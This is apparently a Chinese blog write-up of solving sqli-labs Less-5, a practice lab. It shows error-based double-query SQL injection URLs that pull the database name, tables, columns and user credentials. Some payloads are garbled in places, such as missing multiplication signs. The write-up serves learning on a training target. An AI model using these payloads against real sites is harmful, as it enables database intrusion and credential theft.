/*
作者刚刚接触sql注入,本文仅用作记录刷sqli-labs靶场时的思路,仅代表个人的看法,如有不当之处,欢迎各位大佬及时批评指正!
*/
sqli-labs第五关和第六关的关键考察点是一样的,都是关卡名称中提及的double injection(双查询注入)。所谓双查询注入可以理解为查询语句的嵌套,这一点在后续的注入过程中会有明显的体现。而两关的差异之处在于查询语句的构建方式上,第五关是单引号而第六关是双引号,这一点在前几关中已经经历过,这里算是一个复习吧。下面以第五关为例介绍一**入的过程。(第六关同理,只是将单引号换为双引号,不清楚的朋友可以参考上一篇文章【SQLi-Labs刷题记录】 第二关、三、四关思路)
sqli-labs Less-5
首先,根据提示输入id参数,并且尝试寻找注入点
构建url:…/Less-5/?id=1
显示正常
构建url:…/Less-5/?id=1’
页面报错,根据以往经验,原来的查询语句中,本处应该有一个单引号的包裹。初步可以猜测网站原有的查询语句为: select * from table where id =‘input’ limit 0,1,其中input就是我们输入的内容。
(此处我们需要注意的是,当我们传入id=1或者id=2页面正常显示的时候,如图所示,页面只会提示:You are in …而不会返回详细的查询结果。因此,我们需要借助盲注或者双查询的方法来获取信息。因为关卡考查的是double injection,所以我们后续就用双查询的思路来解题。)
然后,在构建双查询语句之前我们可以先初步判断一下原始查询语句返回的列数
构建url:…/Less-5/?id=1’ union select 1,2 --+
页面报错,提示union联合查询列数不同,通过尝试我们可以发现原有查询返回了三列。
紧接着我们开始构建双查询语句。
第一步,构建初始的双查询语句并且查询当前数据库
构建url:…/Less-5/?id=1’ union select concat((select database()),floor(rand(14)2)) a,count(),database() from information_schema.columns group by a --%20
在这个链接中出现了几个双查询经常使用的函数,本文在文章末尾简单介绍了这些简单函数。根据提示的报错信息我们可以发现当前的数据库名称为security。
第二步,查询security库中有哪些表
构建url:…/Less-5/?id=1’ union select concat(floor(rand(14)2),(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)) a,count(),database() from information_schema.columns group by a --%20
在页面的报错信息中显示了security数据库中第一张表的名称,我们可以通过修改limit命令的起始行来获取数据库中的全部表:emails, referers, uagents, users。
第三步,用同样的方法查询users表中有哪些列
构建url:…/Less-5/?id=1’ union select concat(floor(rand(14)2),(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1)) a,count(),database()from information_schema.columns group by a%20 --%20
在页面的报错信息中我们获取到了不同列的名称:id, username, password。
最后一步,用同样的方法获取对应的帐号和密码
构建url:…/Less-5/?id=1’ union select concat(floor(rand(14)2),(select concat(username,’:’,password) from security.users where id=2)) a,count(),database()from information_schema.columns group by a%20 --%20
这样我们就可以获取到全部的帐号密码,比如:用户名为Angelina的账户密码为I-kill-you。
相关函数介绍:
(1)concat()
concat()函数是字符串拼接函数,主要用于不同字符串的拼接,如图所示。
(2)floor()
floor()函数可以理解为取整函数,输出结果为小于等于输入值的最大整数,如图所示。
(3)rand()
rand()函数是随机数生成函数,主要用于生成0和1之间的任意随机数,数学表述为[0,1)。此处需要注意的是如果给rand()函数指定了固定的种子,那么生成的随机数序列就是固定的了。比如本文中使用的种子就是14。如图所示
(4)count()
count()函数是统计函数,可以用于统计行数,如图所示,在information_schema.tables这个表中有301条记录
(5)group by + 列名
group函数是分组函数,是根据指定的列名进行分组,同一组只取数据库的第一条记录。如图所示,将information_schema.tables表中的数据按照表属数据库的名称进行分组,查询结果反馈了每个数据库的第一张表。